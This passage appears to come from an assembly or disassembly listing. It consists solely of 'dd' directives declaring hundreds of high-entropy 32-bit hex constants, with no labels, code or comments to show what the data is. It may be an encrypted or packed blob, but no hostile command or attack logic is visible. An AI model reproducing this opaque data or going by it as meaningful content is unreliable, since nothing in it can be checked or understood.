		dd 12DC7D9Eh, 0ED4D3A13h, 13EA3C86h, 0DDF84325h, 8957C9A2h
		dd 5A9A548Dh, 0D5CBB574h, 0E0F7591Ah, 9DCF0164h, 0DDD31B5Ch
		dd 0DF468809h, 6813974Ch, 80323158h, 692CD65Eh,	18952D3Eh
		dd 4A15E976h, 0FF75AA9Eh, 3A786E21h, 602D1E80h,	1419F37h
		dd 3025C67Ch, 72AD5E82h, 0E9FB215Dh, 7D93709Bh,	0EDC6BEEAh
		dd 0EF7AA125h, 0C20D2055h, 140A186h, 2511527Ch,	0C6FF5D75h
		dd 5691FA06h, 0FE7B3CAAh, 0F5F6B7DDh, 56C05B45h, 721925EBh
		dd 2FDAB58Fh, 0AA810882h, 8B36E7E9h, 40E2C172h,	2020A8BDh
		dd 9B074790h, 0E9A09E62h, 59206209h, 9AE9E1D0h,	0C18A3C63h
		dd 0B7C264Ah, 7B485E2Ch, 6E4BC702h, 0AF5F4D72h,	95014004h
		dd 0BD31FDA1h, 0D30D1C4h, 0A4B24A6Ch, 0FBFA4A30h, 69502A32h
		dd 612FAC54h, 3ED602B6h, 0F1FB0E34h, 6A23F50Dh,	92EF234Bh
		dd 4AACFC8Eh, 3D1F0447h, 52A1D040h, 3514EEBAh, 1827093h
		dd 9233B61h, 92B1DE9h, 2E165CFCh, 340E4FEh, 6B6E3168h
		dd 26C3B15h, 0DA1E624Dh, 0FC8EB7C0h, 41652D6Fh,	78B3EA6Bh
		dd 0A58DA310h, 0C813F2ADh, 0B737EB5Dh, 99A4AA94h, 61A70CC3h
		dd 0A20C0EC4h, 6B860B06h, 4EFF17E9h, 84BFE95Eh,	8006D7E1h
		dd 0E74BA6C4h, 0AFDB24EEh, 83D9490h, 0E3E988F7h, 5E528C4Dh
		dd 95502DE0h, 2C89AD65h, 49E05E34h, 5B671400h, 0DC9538B8h
		dd 46C65297h, 0E74FE912h, 3D35368Dh, 0FA4CA441h, 59CB903Ah
		dd 6A5BFD17h, 5B7EC8B8h, 0BE721232h, 5BB940D4h,	83FD8A29h
		dd 3E6B2B18h, 83000C73h, 8956C174h, 4BE8E9FEh, 8883906Dh
		dd 10B02F10h, 5085CD04h, 55801437h, 98E23193h, 3BF42F89h
		dd 0F701C330h, 0D59CDD9Dh, 0B58E92Dh, 130FF74h,	7C82384Dh
		dd 0EE6AEE3Fh, 0D55209F6h, 894F985Dh, 5AE8E5CAh, 3D2D0459h
		dd 0BB7E4274h, 2A6BBC61h, 183E1025h, 5EF30819h,	58AD868Ah
		dd 7F848B1h, 0A57C7704h, 4ED4B034h, 836D1207h, 0F69001C6h
		dd 5EF00B5Eh, 0A8F4819Fh, 0B9A26FECh, 0D293E60h, 25814F74h
		dd 0DFE90D8Bh, 0A0B26560h
		dd 0D9C7801Ch, 0EF5DD71Dh, 4F56AE7Fh, 1CD4B880h, 0F2578E0h
		dd 64296DF5h, 0BF53D9E5h, 54C932E2h, 2D9703D5h,	0E7BF847Ch
		dd 8B87866h, 9FDB9F20h,	81310CD8h, 5AD60F5Ch, 4BACD8A0h
		dd 0E6EBC42Ah, 41487D26h, 0B0165FA7h, 44333DEEh, 0D3F0BEF9h
		dd 8B409B51h, 5979854Ch, 840DF8Ah, 9D01564Bh, 564E4966h
		dd 0B0E310F7h, 0E95CB54Bh, 93FE080Eh, 4FC92BBh,	1F54740Eh
		dd 508DFF34h, 3EC5770Dh, 7591C83Eh, 9074E63Dh, 483B77F0h
		dd 0CA789E17h, 9A5815F1h, 0DFBB25E7h, 7D000E89h, 0EA91095h
		dd 2DECB880h, 0D676B1D1h, 336BBC0Ch, 0B50D17B3h, 92CF08F4h
		dd 498EBD02h, 23A5E0B6h, 0AA14D656h, 976B2498h,	0E7D48A09h
		dd 2D08EE17h, 4721058Bh, 16A2AB1Ch, 6539FA97h, 4AA1E9F0h
		dd 0D5EEB47h, 0D34E960Bh, 54528F09h, 0F77843ABh, 53D83001h
		dd 806BB151h, 61FE45F0h, 0E1C004C9h, 0F4C1E806h, 1CF6885Bh
		dd 0B38F25Ah, 100B07E9h, 252F15CFh, 8BFCDAF0h, 0F60F9D20h
		dd 0E0485D0Ah, 0DFEFEEF2h, 232D8810h, 9A61519Fh, 0DC512A68h
		dd 0F42D96A6h, 0F11E45A2h, 0AEB53A5Fh, 2E03B56Bh, 0EFB41BA2h
		dd 0B259DA02h, 0F305C2Bh, 8532E952h, 3577FBAAh,	0CCFA4074h
		dd 609C9932h, 0D8A7E90Bh, 3A04243Eh, 2671028h, 405A21BEh
		dd 98E7783Eh, 65690A35h, 38235D4h, 411770E9h, 14BFCAE0h
		dd 2576AC24h, 0DB2EE202h, 0CB13E172h, 88D8B503h, 0C00059EBh
		dd 0C3FE04E3h, 5E39F380h, 7DC2AC20h, 1425565Ah,	0FC1529BAh
		dd 0E9165E53h, 0D2FACD3Fh, 7077EFBEh, 0A05B5F92h, 642D6839h
		dd 576F342h, 0A130528h,	0CAF75ACFh, 18B60B2Dh, 9A399475h
		dd 0D2969D2Dh, 6AEA10B5h, 5C02E653h, 702D0755h,	0C360F3D6h
		dd 60E01F0Fh, 3FCF0C50h, 0C1173942h, 2D0903E3h,	29FF245h
		dd 68F5138Ch, 0B9C2E809h, 5B9F3950h, 4E12E82h, 0FE3DFB68h
		dd 887B1069h, 7782F269h, 654F8256h, 67D7FBCCh, 90E83164h
		dd 10C9B802h, 4A425D70h, 0C205A772h, 3195428Ah,	0C1DA24ABh
		dd 87A023CAh, 2793C323h, 0DE89B2A1h, 44F68682h,	0ABD85358h
		dd 0F3A4D701h, 0AA06E929h, 9F9B96Eh, 8325B252h,	0A60D7577h
		dd 90E916C9h, 835F44Dh,	63FB1504h, 20EAD631h, 6F1E68C5h
		dd 2E66CBFh, 0E93C4F05h, 0E7C449FEh, 0C77BDB0Bh, 94E10033h
		dd 90422D68h, 3EAB74AAh, 0ED021D61h, 1C8A100Eh,	97FCC85Fh
		dd 107D976Fh, 80347884h, 7B1D81B9h, 873D3955h, 662B3F59h
		dd 0D2730A5Fh, 7FB342EBh, 0BB9445DBh, 152D7DA5h, 29C05093h
		dd 3AB36A63h, 426C036Fh, 0D072880Bh, 5A58C713h,	4669C09h
		dd 0FCBE498Dh, 0F15589CDh, 72E96246h, 4C89B1D6h, 5B37B078h
		dd 0D418287h, 0BFE250D8h, 902F5CB8h, 1754D33Ah,	2B0AB138h
		dd 1F84F5E4h, 4B2FEC3Dh, 0E5207361h, 0C5D18F27h, 0C9F67E95h
		dd 6851C8D5h, 0AD5A4FE8h, 0CFBEA5B1h, 51680A9Ah, 0BB825E1Eh
		dd 0DD872A0Ah, 4019743h, 6756EB81h, 10852011h, 2793CEE9h
		dd 2138F0A9h, 0E0F85875h, 5E05F2B7h, 0B0A7B8E6h, 7E2655B2h
		dd 15F3012Fh, 0E90EFD18h, 1F92BFFh, 0F50B4707h,	9529B43Dh
		dd 3C16BC98h, 1C6ADAAh,	54AE6819h, 6750D424h, 72DE632Bh
		dd 0E8E69B8Dh, 104C21A0h, 0D8230C27h, 0C4EE78EBh, 0CB215539h
		dd 0F4C701ECh, 114993Ah, 18BC847Fh, 70381C08h, 0D5BEC14Eh
		dd 0EC28BF2Ch, 303DF4C7h, 0E9402C9Eh, 1AC108ABh, 2D5EF009h
		dd 48796030h, 0AD05BA77h, 0C612D056h, 1E88D14h,	665DEF2Dh
		dd 0D749781h, 0DC118971h, 0CD412432h, 9FE6475Dh, 81AC0993h
		dd 407D1855h, 19ACBBA4h, 0A851B48Dh, 0CCBF6C1Dh, 6E2D12E7h
		dd 0FBF0AA26h, 3B4D18CDh, 86E55ECCh, 33946405h,	30BC71E9h
		dd 21145A3Bh, 0FB8FEFA4h, 0BE30AB27h, 0D8293A4Bh, 88514910h
		dd 6731F57Dh, 1A6FD339h, 277D6823h, 2194A995h, 2414F595h
		dd 6E62DA09h, 74A0F569h, 5BAE672Fh, 3A253EB0h, 0BE7A079h
		dd 98AD657Dh, 0EB29FFC5h, 589F839h, 6E7F520Ch, 0CB65B777h
		dd 4AC285C9h, 1352CFAAh, 0F48960B7h, 5E2CB9E1h,	93FB8714h
		dd 5F3FCA1Ch, 5F4B494Fh, 55B61A7Dh, 7E9781D2h, 0D4880F6Bh
		dd 7FA9766Bh, 27FDEF5Fh, 32089929h, 8D9B9BB2h, 3A5CE2D1h
		dd 95EE0190h, 98712718h, 4D089156h, 0BE660303h,	24A65D69h
		dd 0F6301E2Fh, 0A9754B83h, 0A40F52Eh, 0EB4BC158h, 0C0918C7h
		dd 14DD2427h, 8EDE08E9h, 0A1AAB5A7h, 6F49717Ah,	0BDE449BCh
		dd 78C61254h, 55C1B3BBh, 10CE3D7Bh, 0B04E8FA2h,	20170CBDh
		dd 0EDA20115h, 25685B07h, 0E5570B72h, 87D1163Bh, 5A709085h
		dd 1E09B151h, 5D02E1C0h, 800870A3h, 0AFC1879Ah,	0D5813EE7h
		dd 890269C7h, 2B5772C1h, 0B3531D20h, 0DBF60565h, 0C180E3D0h
		dd 22DC881Ah, 0F481DFCDh, 12D7687Ch, 0B202A873h, 0D5F2E9B6h
		dd 5C4022DEh, 91629A68h, 0B126BCFAh, 0BF8AAA87h, 0DE4BF694h
		dd 0E3FC3184h, 0E0F2AC5Ah, 964D52E9h, 0EEE9A7DFh, 767AAF30h
		dd 0BC7F5AA3h, 6CE91613h, 0AD6BB432h, 0A97FD341h, 3D680181h
		dd 59188048h, 0C2DB173Bh, 0E1FFE9C5h, 147084ECh, 5F79D0Eh
		dd 0B3AAD8EFh, 8864C357h, 0AFC06102h, 0C2164168h, 0AF26F377h
		dd 8B09AB5Ch, 0AD16D17Bh, 5520B25Dh, 6D86BB00h,	0B902172Fh
		dd 0E8D0927Eh, 0EC907701h, 61498FE9h, 87F32E80h, 4951570Eh
		dd 7C420447h, 322ABE00h, 0F7F44861h, 847790AAh,	6BC506A6h
		dd 74EA7C56h, 8BB9BAA1h, 2DADA6A5h, 977A78F4h, 2F5C7FEAh
		dd 0BD18A670h, 2629086Eh, 5BB9055h, 67B6E953h, 21688B42h
		dd 25A2721Ch, 9F56DE88h, 0B6AC68BBh, 12EDE617h,	30F1C500h
		dd 0DD686F4Ch, 3B3054Eh, 0BE484304h, 1BC7AA63h,	3C6F56E0h
		dd 0EEFA4E87h, 11806689h, 0F40B02C2h, 254AE96Ch, 1CD7CD14h
		dd 0F72F41ADh, 6A90299Ch, 0B5893340h, 717580E2h, 0F1DE720Ah
		dd 0DCFA3A35h, 2F4B2E24h, 909066FDh, 0F4620327h, 4A9BF155h
		dd 73C424C8h, 5ECB49EAh, 0A233F1D8h, 21DDD509h,	3B2004CBh
		dd 766CB817h, 98EA283Dh, 0C33159BFh, 0DC0D2837h, 0E0344DE5h
		dd 81D1CB24h, 6564ADBDh, 7F6D332Dh, 802ED224h, 7C6BC789h
		dd 11F46694h, 265232FAh, 4AEA100Dh, 0A6A13125h,	3B8D448Ch
		dd 17EE76E0h, 15C6A70h,	9B11755Ch, 0F90A3F49h, 5F02D942h
		dd 5FFD1E41h, 0C1294505h, 733309C6h, 1487C43Fh,	0E47FAF62h
		dd 2E742596h, 5F95B6E6h, 0E55E553Ch, 1AE1AE12h,	4279FE2Eh
		dd 40C0A96Fh, 0D15DBCE5h, 0D9041C53h, 0E8283183h, 0C51EA52Ch
		dd 0D3DFE94Fh, 447668AAh, 1CD2FF3h, 0A08DA87Bh,	2E58576Dh
		dd 81F245E9h, 7955E6BFh, 9187303Fh, 4AC2F782h, 9F95C6FFh
		dd 6D9A2121h, 0B45D6174h, 0C252821h, 2835C83h, 21E53544h
		dd 9CF83284h, 40BD6D4Eh, 1EDAF203h, 0D6EB8ED1h,	0D5C059EFh
		dd 0E01E8505h, 2096E83Bh, 95BA0AC0h, 9046902Dh,	43766404h
		dd 18D3BFEBh, 0DBD2B729h, 473048B3h, 34982F4Eh,	351F8945h
		dd 681C4C98h, 533B59D9h, 3392318Eh, 0EBDC8BE5h,	68828FE7h
		dd 22A74CFEh, 0AAEEC45Dh, 2DEAD013h, 161240ABh,	625CDE6Dh
		dd 0C99F272Dh, 58325A87h, 131BF502h, 0A84123D0h, 441E35ABh
		dd 0AAE38060h, 6095DC0Fh, 534A4EFh, 3CE93563h, 0F6DCFF42h
		dd 0F2FFD054h, 0FAA4844Ah, 0F84F2C8Bh, 0FDA84F46h, 80A6A0F5h
		dd 2D689C40h, 77D42D89h, 97F7863h, 10E2B91Ah, 0D1F7C702h
		dd 2B0698C1h, 124667EBh, 0DADE4002h, 7FDA6964h,	57608B30h
		dd 7A12C7BFh, 35EF3BD0h
		dd 188CFA39h, 4B4A72Ch,	0AEA7DAE9h, 2596C9E4h, 20D88641h
		dd 1EEC1690h, 42173A09h, 4C4A054Ah, 93D45CECh, 0D930D580h
		dd 0F72D4E7Ch, 470E40D6h, 0E16C4CACh, 5C5EF518h, 0A32661ADh
		dd 0F2168031h, 0FF5E4BB3h, 5D5F0049h, 0F85D27C2h, 4D5A7FAFh
		dd 3118CB93h, 0EBEECC3h, 75333427h, 2C69F01h, 6B7A20D7h
		dd 0A4B65A5Fh, 4A8BAC97h, 9CE8919Dh, 0B5619832h, 82A481D3h
		dd 35FAFC12h, 57C98869h, 3C68551Eh, 73A2109h, 0F71E50Ch
		dd 0C9F423Dh, 4C664AD1h, 11B903A2h, 0C85A78FEh,	0AE5AF7ECh
		dd 9E14006Ch, 9F680495h, 2A47CD54h, 0B04C63CAh,	0C3987C20h
		dd 0B64F480Eh, 0EEEFC072h, 9A6C502Fh, 0F6816DEh, 0E9829866h
		dd 3C653E33h, 7274A0B8h, 94C1F471h, 5DBF0E30h, 0AC7932A5h
		dd 0C5687BA0h, 283F0BCCh, 1527CDD5h, 0B9371842h, 0B4BB30Eh
		dd 0D87EF7F3h, 449A0469h, 0FDFBE00h, 569D6394h,	77510238h
		dd 0C20F0213h, 0DEE5BBBAh, 782D007Ch, 1050C20h,	7A3C873h
		dd 0C33DAEC0h, 92E97B1Ah, 2ECC00BBh, 94524D0Ah,	0BE566006h
		dd 5F24B94Ch, 0A80247D8h, 4277FF0Bh, 5DE4FD87h,	0DFC0965Fh
		dd 0F0C39D61h, 10366131h, 405EF109h, 9A3ADF81h,	4FF2648h
		dd 5D8229C9h, 20BF57C0h, 4B3C2574h, 890007Ch, 5482AC02h
		dd 157C3123h, 2DBC1708h, 0B82ED956h, 0B5021658h, 0F5CBFDD1h
		dd 3CD28F10h, 25566DB7h, 0A870D57Eh, 1600E29h, 6862C383h
		dd 0D6B1484Fh, 0C7CF6E53h, 0A09EEB96h, 0E99D5B31h, 1D0E2FB1h
		dd 13D80F5Ch, 0CD44D12h, 9F5AB8E4h, 871E454h, 46106E3Dh
		dd 5FE482Ah, 75CD0AE1h,	0DD0EE1E8h, 0F8F6C4BEh,	39FED7B4h
		dd 2280F22Eh, 4165DEE3h, 0F508324Bh, 737027C6h,	5A61930Eh
		dd 0A2C9CF2Ch, 60528D21h, 3055A24Bh, 0A424389Bh, 0AF485A87h
		dd 65B95A21h, 9F8EE90Bh, 432E4FFh, 0B21295BEh, 0E26C8065h
		dd 23768436h, 6F0EE609h, 7C800974h, 6168093Dh, 9BD8198Bh
		dd 0B084D797h, 0C8E658FCh, 43CA264Eh, 33C70231h, 0ED8022CEh
		dd 0FDB5EF44h, 0F512CF9Ch, 0B886DE83h, 0BF66C3FEh, 0EBE48170h
		dd 4F09D19Eh, 0B6D84B28h, 13681206h, 91AB307h, 0DDAD4BFDh
		dd 3FE03C80h, 126641Ah,	82056FAh, 0F996D696h, 40549A2h
		dd 0EE7CBB35h, 89C604C2h, 1167FD08h, 6172B626h,	53967235h
		dd 5D81AFEFh, 0D120C729h, 615D823Ch, 0E36F586Bh, 0D0BB8552h
		dd 5A1710A9h, 0C10400F9h, 31F1CB18h, 82A55CB7h,	83164572h
		dd 752458FFh, 0BD42C3A8h, 31DA018Fh, 0D6A4EF80h, 5D907078h
		dd 0D5F91041h, 684B436Fh, 79160FBEh, 0D4A43FFDh, 408B95D6h
		dd 0C161E245h, 0E02B18E8h, 0C3E8D840h, 0A1BB08D3h, 96E2A5FCh
		dd 8AE910D7h, 0EC5C2701h, 4ADA317Ah, 7F752423h,	9A09B764h
		dd 93AA1319h, 0A9EFF428h, 3EB9D7FAh, 0FFF1AB12h, 120D9676h
		dd 0A8057A68h, 4A5FC4E9h, 0B70431AEh, 58C6BA4h,	0E26116AAh
		dd 97B43427h, 0C65DD25Ch, 8A07EE0h, 2F219C0h, 0B53C7A22h
		dd 245E7AC2h, 7B282BC3h, 3BF50029h, 0CD29A232h,	51245859h
		dd 0C601A856h, 894C4557h, 0E94E9005h, 0CE9D2B81h, 18D490BCh
		dd 5C4047EBh, 0BF8021DEh, 0C7221262h, 0F350A423h, 1D499D0Ah
		dd 9507C330h, 0C1C173Fh, 5AAAB026h, 0DF67C143h,	3DBD0037h
		dd 84B267Ch, 0BED0753h,	0BD39A562h, 201E06E4h, 0B1C40ADh
		dd 0DAEC34Ch, 5C2FB1D6h, 2762C44h, 9041087Ch, 70CC827Dh
		dd 0F448DF60h, 5C81CE2Dh, 407B4AF1h, 0B3FEF58Dh, 892CA3B8h
		dd 7816D1E8h, 140A63FAh, 2D3CBAA4h, 14716163h, 9059EC88h
		dd 5E307958h, 9C6BD5Ah,	0C1BA724Fh, 227BD6DFh, 0B0C481Eh
		dd 0E1463280h, 393F5B7Ch, 0E0CCF88Bh, 0DD8B0A9Eh, 0E842301Fh
		dd 3ABD8116h, 8970E5F5h, 2FD541CAh, 871CBCF9h, 0BC0DB5EAh
		dd 0F49DD64h, 884C7D2Ch, 0D0685C0Dh, 0E4D18355h, 64F72D00h
		dd 1276A0Bh, 5B0302E8h,	0C1974A0Bh, 2F60E07h, 6741F988h
		dd 814502CFh, 0EC4DDDD8h, 0BAD0F420h, 545BBFAEh, 743F846Dh
		dd 0AD03FEB4h, 25649E1Eh, 85E6ACC0h, 1126D033h,	9C32F902h
		dd 10BCA33Bh, 88585457h, 5B21CF5Bh, 0C39054E3h,	93E3A84h
		dd 0B93E555Fh, 9DFECC20h, 7056D569h, 0A03F4C1Eh, 3549936Fh
		dd 0EFF2894Eh, 92FC14BDh, 4032F5FEh, 0B60CA964h, 44C46E5Eh
		dd 20BE95C1h, 0B6592C98h, 5F0B26DAh, 88FB2936h,	0D38908B4h
		dd 0EFC7575Ah, 4115572Dh, 1C9F9E95h, 0D9A7F088h, 0B9203836h
		dd 1DBD5502h, 80679F74h, 0EFABC1EEh, 0D8E917A9h, 0DE74BD61h
		dd 0BF5E52CAh, 275FDEADh, 0C4E246Bh, 0D2E930D3h, 0CD3B5F2Eh
		dd 3BC3A1D9h, 4210D4A3h, 74BE2F40h, 8A82B086h, 3F0C546Dh
		dd 475DB3E9h, 878C05EBh, 8121C999h, 68B146F4h, 9868C27Bh
		dd 0CE985D22h, 66B57E28h, 56C738CDh, 8239FA4Fh,	0C297B32Ah
		dd 0D9500A68h, 28E38907h, 0EA09EEC6h, 45184E78h, 4155133Ch
		dd 0A330BBF1h, 8BF66F25h, 0D411A48h, 0CBEEC03Bh, 4B24051Eh
		dd 0C6020255h, 764D3226h, 90D228E9h, 7D2A67FDh,	0F99974E7h
		dd 0A6FA9286h, 7A2C9286h, 0E9520853h, 0B30151F8h, 0E0CB807Ch
		dd 0E14839E8h, 0A183B96Fh, 913A3AA6h, 0F4050256h, 0B17D44C8h
		dd 0D5BAD525h, 0EF7D799Bh, 0DC81F225h, 21D45244h, 0E5C00612h
		dd 7709B8h, 0D0F77238h,	9E515525h, 282D6000h, 350B6469h
		dd 541A0EADh, 36C04070h, 0E9B723DBh, 42EBD730h,	0F056EE80h
		dd 0B92F60BAh, 0A27F05F6h, 0A35F6E7Bh, 40B94C1Ah, 2F802042h
		dd 0CE0408DAh, 9E908C89h, 0D75E8BB7h, 48A7E8CFh, 0B5726431h
		dd 0C72F3012h, 3B50C96Bh, 0AE2DBD04h, 0D4A067A2h, 25C37F89h
		dd 0D4DE35D2h, 935A847Ah, 0F70F31BFh, 55C21265h, 0EE5E3A24h
		dd 98FAEDC4h, 605A924h,	16E94B37h, 2E3E754h, 6ECC7E35h
		dd 0A2F47549h, 996D02Dh, 6597E967h, 8CC245Ch, 28C80BBFh
		dd 5CB222E8h, 4FE0EC00h, 0FC074EEh, 58534AB5h, 55539A29h
		dd 0EA20A04h, 0A0809F18h, 21310DA4h, 1A1576B8h,	0EAA3537h
		dd 0F3425E12h, 56DB04FAh, 0E4A1171Ch, 4E78536Ah, 27707B8Bh
		dd 98C57F5Bh, 0EC276724h, 0F1681814h, 0C4161F18h, 0FBD88383h
		dd 0D9949319h, 186321B6h, 181BA55Eh, 527DB9ACh,	0A6A2C32Eh
		dd 0F8A81617h, 9A6BBF4h, 0E939C85Ah, 816DB4Eh, 0A0507BA0h
		dd 3B4983CCh, 0AE521394h, 7B0A1A3Eh, 2C060558h,	26910849h
		dd 2C54B102h, 3A87FED7h, 3128EF4Bh, 6BE91353h, 76FEE4F1h
		dd 51D34F12h, 0C403BA0Fh, 810FC313h, 313A7301h,	22827B2Fh
		dd 2088BC6h, 576CD353h,	26090FECh, 7501EB0Ch, 4C0D46E8h
		dd 4C1EF33Bh, 0A240C29h, 16211806h, 0FA2E9E57h,	74081D6h
		dd 365A5FB5h, 4E72BB01h, 0D1955CF4h, 132D2CC6h,	68D5F0DEh
		dd 0D260100Fh, 8A08461Fh, 7659514h, 3E319149h, 9F5A1674h
		dd 71A7DA47h, 22950856h, 68D23107h, 0F0A35684h,	5F0BF611h
		dd 3F822DEBh, 5AD0C041h, 753C2EE9h, 0CCAFB25Ah,	2C6893C2h
		dd 0C25A54A2h, 5A2A1DEFh, 6C1B78Ch, 7DB02FAFh, 281BD0F6h
		dd 0E984E806h, 278394FEh, 68580FFCh, 755A6277h,	10791F0h
		dd 68789BCAh, 312D5E77h, 89465D74h, 94E8643Fh, 322F95DDh
		dd 4A20B9E9h, 0B32EC105h, 35484501h, 76AF2F23h,	983B1321h
		dd 0EC9F5F26h, 53599759h, 4A21D50Dh, 7EB28A3Eh,	1CBB7759h
		dd 0FF0FBDB9h, 0D2B04B36h, 0F64AD7B6h, 3AF2D670h, 35BE50CCh
		dd 95584640h, 2905AF16h, 6B6C68D8h, 412E25D8h, 52FF2F06h
		dd 0D33E01B3h, 0DB1BAB10h
		dd 0AAA0BFDCh, 839D4EE9h, 0B8B25E41h, 0ED9FDB74h, 0F9580985h
		dd 18487BEDh, 891A7D09h, 86B332DFh, 18780398h, 4F92E94Eh
		dd 0D49DE389h, 0C9C2541Fh, 0C856D9E9h, 27446B42h, 0E0D54509h
		dd 97D40202h, 60AF66DBh, 39FE872Fh, 96BF731h, 493E375h
		dd 0B8F5E918h, 0F5ECEAFFh, 0D18589B7h, 0C9A7AE08h, 68D68705h
		dd 0B361BF47h, 313A7660h, 4A3995h, 3926BF57h, 878BDB0Fh
		dd 6E4251CFh, 0B480EC3h, 2C831C8Ah, 56B75F38h, 2BE2A1D3h
		dd 0F4DAA222h, 0AD14C31Bh, 5BEAD312h, 0E846B709h, 801A12F2h
		dd 0CA0E2858h, 7422C59h, 0D64B04D0h, 0F04A16AEh, 0BD75BB10h
		dd 0D46AB22Fh, 41682798h, 68281BA8h, 0AB03D571h, 0C165FE46h
		dd 707A18E3h, 86C2C34Ch, 3AF9EE1Eh, 0A26223C9h,	5D106980h
		dd 5002404Ch, 3005E7B8h, 0D595613Ch, 0D7F2BB80h, 908123Bh
		dd 6D25D67Dh, 7EB7A019h, 141D51Dh, 0A05C4FBEh, 82DE315Bh
		dd 685EF106h, 2FD1D5ACh, 86C9887h, 743AE9F1h, 5989C96Fh
		dd 52F02EE6h, 0F53E5FA3h, 0DC0A3029h, 612D59BEh, 0FFEB57C8h
		dd 8DD3F5F9h, 4947F8A7h, 0F62C0785h, 0BB2B17C6h, 491AFE04h
		dd 2E3F9DABh, 41E15CBDh, 934AFE6h, 0C4A58960h, 0CAC0A0AFh
		dd 1CF38875h, 775F4902h, 0D757D3F7h, 0C6DDE962h, 0AD9C4DD4h
		dd 0E1155F3Fh, 1913C5A8h, 0C4EFFC1Fh, 8EEC2A8Dh, 0B829D2CBh
		dd 6D200758h, 1E78B01Fh, 416C97Ch, 0A25AD531h, 3208588Fh
		dd 5FBD440Ah, 2C902DF8h, 2A37E1F9h, 618433F7h, 555B01ECh
		dd 37305053h, 1ABC560h,	5147A30Fh, 0F2247BFAh, 8535D0EFh
		dd 74694137h, 3521FF0Ch, 6A7F0AE9h, 0AC7A8099h,	23761722h
		dd 7D432820h, 4E541F91h, 968C4B46h, 89506B21h, 5859CCF8h
		dd 1908A091h, 0A2BA120Dh, 3C8441F6h, 87F53806h,	55F248A6h
		dd 42C4BD10h, 0A1334B0Ch, 3AC32164h, 680BC1BCh,	25D94BB9h
		dd 502B098Dh, 0AA07EB3Bh, 68B911F7h, 1E6DBAD2h,	8C48F50Ah
		dd 0EA2BD51Bh, 5824E5E4h, 601535FEh, 0CB291DB4h, 2697AFCCh
		dd 752309B9h, 0D9740126h, 3AE1ED13h, 0CB2A5061h, 0A4F85B71h
		dd 7ED4A05Ch, 0C4629A2Dh, 0DEFAB976h, 4499C2D2h, 7DBB26F7h
		dd 2FAB4D48h, 258A8A4Eh, 0E098B99h, 0FFE0E9DDh,	21A966AFh
		dd 0A954E829h, 8FEB5196h, 276A4C4Ch, 0CBD059C6h, 0FD2F41F6h
		dd 90E9D038h, 40B9BBCh,	326C8418h, 0BED58416h, 91D636E9h
		dd 544F43AAh, 913B884h,	48B5E41h, 71569E5Fh, 6F53EE4Ch
		dd 1C6F559Dh, 0A9162FF1h, 9B809DB2h, 27C07134h,	225EF9EAh
		dd 0F201245Ch, 0B6082077h, 829D8CBAh, 9F09C67Dh, 7C9C5B10h
		dd 602B08E7h, 0E4402D0Eh, 4EE8F88h, 0A21876h, 87170BEh
		dd 385E9714h, 6091E9D8h, 0CAEE175Eh, 3FE9AD1Ch,	5DF044D7h
		dd 0B558D968h, 0C659C499h, 81C1CBA4h, 2E4FE4CDh, 57A162FEh
		dd 0A00CA1C0h, 97E9200Ch, 0BEA235Fh, 6ED70E94h,	129AE184h
		dd 0F01F8DEAh, 93C01F0Ch, 86A5D8C2h, 7A769FBEh,	94E3FA13h
		dd 354E09D3h, 68F690FFh, 0E6225FB0h, 29AA4FE8h,	19F92AA4h
		dd 4474BA96h, 97484FFCh, 0A6FCA85Eh, 0C5ECA31Ah, 0BDC0D4BCh
		dd 90D9650h, 4EB8D55Eh,	0C2CDC1B4h, 3EBE00FDh, 3A4E137Dh
		dd 0BD00EE09h, 0DC5805CAh, 0B40EB07Eh, 60FD25E7h, 96360B30h
		dd 855E93A3h, 0E3E7EF17h, 0BCFEE985h, 0EC8004B7h, 33C42875h
		dd 1C0A0C2h, 23061768h,	0CB2978BFh, 50A59C71h, 1295247Dh
		dd 0DFF70B37h, 0CA9E6F85h, 2D0450B4h, 21CBA4A9h, 25F56F38h
		dd 0E7518860h, 7ADF66Fh, 1D865403h, 0B268FE2h, 0B7E34CD4h
		dd 0E96CFAC8h, 0A56E2D39h, 0E1FE8C8Ah, 98D76D0Eh, 0BF4170B8h
		dd 82E4CAD9h, 0F74A9690h, 5DE2F0D2h, 19008BE1h,	8328E54Eh
		dd 810501EBh, 0F82C0DE3h, 0D7349B0Eh, 0A0535326h, 0E8BF6Bh
		dd 816AA852h, 9C6DAAE7h, 0F7003576h, 7F5E1748h,	52E9FB01h
		dd 2F05AF30h, 0C04B8E15h, 0B038EF12h, 0AC602362h, 2CCC79A6h
		dd 0FEB11714h, 0F750B5CBh, 0DE29805Fh, 72975990h, 25CEF0FDh
		dd 52F25B59h, 4DD04C4Ah, 2F48ACEBh, 0DEF013A9h,	301B7220h
		dd 63C65B54h, 5960126Fh, 8E079C94h, 0CCFEC19h, 3B3F40D7h
		dd 79269E0Ch, 430C5A08h, 0BBA3E89h, 564E2648h, 0A7FE11F0h
		dd 0AC4A7C97h, 417408D8h, 0D8FD1492h, 40A8E9C3h, 5ADA3158h
		dd 0D3E568B8h, 0BEC42F7Dh, 0FA93E9ADh, 0C81A7D31h, 0E794FF14h
		dd 0CCDB9CBBh, 802B3F41h, 0A605A28Eh, 9137F5Ch,	0F0C54E41h
		dd 0DD50B70h, 0C2D77573h, 0A80808D1h, 1F643608h, 765F0B5Ah
		dd 9FFE94h, 0EB283130h,	5F532DE9h, 0BB05C546h, 7D793CD2h
		dd 0C11622AEh, 30BF5B70h, 54F468E3h, 4051F67Eh,	5304BF23h
		dd 897DB14Bh, 1FB9A0ABh, 209B5812h, 78FF5809h, 0E0DDBE69h
		dd 65DE3C86h, 26D7294Dh, 5F95A78Eh, 55C07B3h, 0E621054h
		dd 34D65721h, 190BE958h, 95103668h, 2F136EE0h, 0FAA7CCEEh
		dd 0F6796A62h, 0DD0B7711h, 0A1FD8F09h, 0A435E9BEh, 3165AE2Ah
		dd 0F7027D09h, 0CED99F3Bh, 0B9233856h, 12EAE23Eh, 0B34448B3h
		dd 32FE1640h, 1F852824h, 8FD5ABE9h, 2730782h, 3C61D1F6h
		dd 500EA471h, 4743808h,	0AB28702Ch, 2DD51C11h, 64C4585Bh
		dd 953AA933h, 8FB0F82Bh, 0E5611216h, 9788B287h,	7B3D6BD7h
		dd 0FF25C297h, 0D344D67h, 0AE200EAh, 3114DF26h,	574389BDh
		dd 5EBD7636h, 44C1527Bh, 95F22A19h, 8954511Eh, 0A72043F1h
		dd 537F26CAh, 0C0ED8103h, 0B20CC240h, 340940CDh, 0CE5F870h
		dd 51D7641Fh, 2A300718h, 0D4C524D5h, 4953044h, 2C20413Ch
